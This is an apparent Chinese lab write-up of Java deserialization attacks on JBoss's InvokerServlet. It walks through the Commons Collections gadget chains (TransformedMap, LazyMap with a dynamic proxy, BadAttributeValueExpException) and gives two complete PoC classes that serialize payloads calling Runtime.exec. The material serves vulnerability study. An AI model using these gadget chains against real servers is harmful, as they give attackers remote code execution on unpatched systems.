0x00 问题代码
直接上环境,文件路径:server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet\InvokerServlet,分析完了CVE-2017-12149之后,直接看输入流是不是被readObject了,那么是的
首先想要得到一个MarshalledInvocation的值,不好意思,发送的数据包不给,那么mi为空,为空之后就开始readObject了。
0x01 TransformedMap的POC
那还说啥,开整,反射链直接上,先用上次的transformedMap试一下:
生成的序列化文件直接发送到靶机:
0x02 LazyMap的POC
不过这次用LazyMap的:
首先看如何触发LazyMap,不多说,上源码:
那么根据上面的TransformedMap的POC构造可以接着进行下面的构造。
不过LazyMap的调用还是与TransformedMap的调用有些不同,因为LazyMap没有setValue方法,那么就要想办法去调用LazyMap的get方法。
给get方法一个不存在的key值,让它调用反射链的transform方法。
https://github.com/ianxtianxt/CVE-2015-7501/blob/master/ExampleCommonsCollections1.java
这位国外大佬的POC里面的注释写的很清楚了。
首先,LazyMap的POC不需要put值,因为后面说这个
还上去代理了,这……,先插播一下。
这里说一下代理机制:就是创建一个类实例对象,然后代理这个类的实例对象,然后就可以使用这个类的方法,在调用这个类任意方法的时候,都会触发AnnotationInvocationHandler重写的invoke方法(或者不重写也可)。
从最后一张图的最后一行代码开始看,首先它实例化了InvocationHandler类型的对象,但是这个类型的对象的本身是一个AnnotationInvocationHandler的对象,那么当输入流到达服务器之后,服务器调用hanlerProxy的readObject方法,在这里因为传入的proxyMap是一个代理的LazyMap,既然是已经代理了的,那在调用这个LazyMap的任何方法的时候都会触发AnnotationInvocationHandler的invoke方法。
盗一张大佬的源码看看:
参考链接:
https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x03-Apache-Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
直接看Iterator var4这里,这里调用了LazyMap代理对象的entrySet方法(所以不用put给Map任何值),那么触发AnnotationInvocationHandler的invoke方法,这个时候再看invoke方法的源码:
重点是default后面第一行的代码:
执行流程:
调用的方法传入,调用的方法名称为entrySet,还是看下源码:
第一个if不满足,看第二个if
getParameterTypes()方法的作用,返回一个Class数组,它们以声明顺序表示由此Method对象表示的方法的形式参数类型。如果底层方法没有参数,则返回长度为0的数组。
entrySet没有参数,不是object.class,第二个if不满足,看第三个及其后面的都不满足,直接default执行,memberValues
.get(val4),memberValues就是传入的LazyMap对象,而val4又不存在这个key,直接执行传入的反射链的transform方法,反射链得以执行。
最后的POC源码如下:
public class LazyMapPoc { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})}; ChainedTransformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map,chain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(new Class[]{Class.class,Map.class}); ctor.setAccessible(true); InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Target.class,lazyMap); Class[] interfaces = new Class[]{java.util.Map.class}; Map proxyMap = (Map) Proxy.newProxyInstance(null,interfaces,handlerLazyMap); InvocationHandler handlerProxy = (InvocationHandler)ctor.newInstance(Target.class,proxyMap); FileOutputStream fis = new FileOutputStream(new File("bin2")); ObjectOutputStream out = new ObjectOutputStream(fis); out.writeObject(handlerProxy); out.flush(); out.close(); } }
发送到靶机:
0x03 通过BadAttributeValueExpException构造反射链
关于这个类构造反射链的原理和步骤这位大佬已经说的非常清楚了:
通过BadAttributeValueExpException的readObject方法调用TiedMapEntry的toString,通过TiedMapEntry的toString方法调用自身的getValue方法,又通过自身的getValue方法,调用LazyMap对象的get方法,LazyMap对象的get方法调用反射链的transfrom方法,反射链执行。
那么,构造的POC是这样的:
1、先写反射链
2、构造LazyMap并完成decorate操作
3、构造TiedMapEntry,map参数为LazyMap对象,key随意写“123”
4、new BadAttributeValueExpException对象
5、通过反射方法获得私有域的val(因为val是private的),对其进行赋值,将构造的TiedMapEntry传递给val。
6、将设定好的POC对象序列化到文件中。
最后的POC源码如下:
public class BadAttributePoc { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})}; ChainedTransformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); final Map lazyMap = LazyMap.decorate(map,chain); TiedMapEntry entry = new TiedMapEntry(lazyMap,"123"); BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null); Field field = badAttr.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttr,entry); FileOutputStream fis = new FileOutputStream(new File("bin2")); ObjectOutputStream out = new ObjectOutputStream(fis); out.writeObject(badAttr); out.flush(); out.close(); } }
发送到靶机:
来源:freebuf.com 2020-08-24 10:37:06 by: 水木逸轩con
请登录后发表评论
注册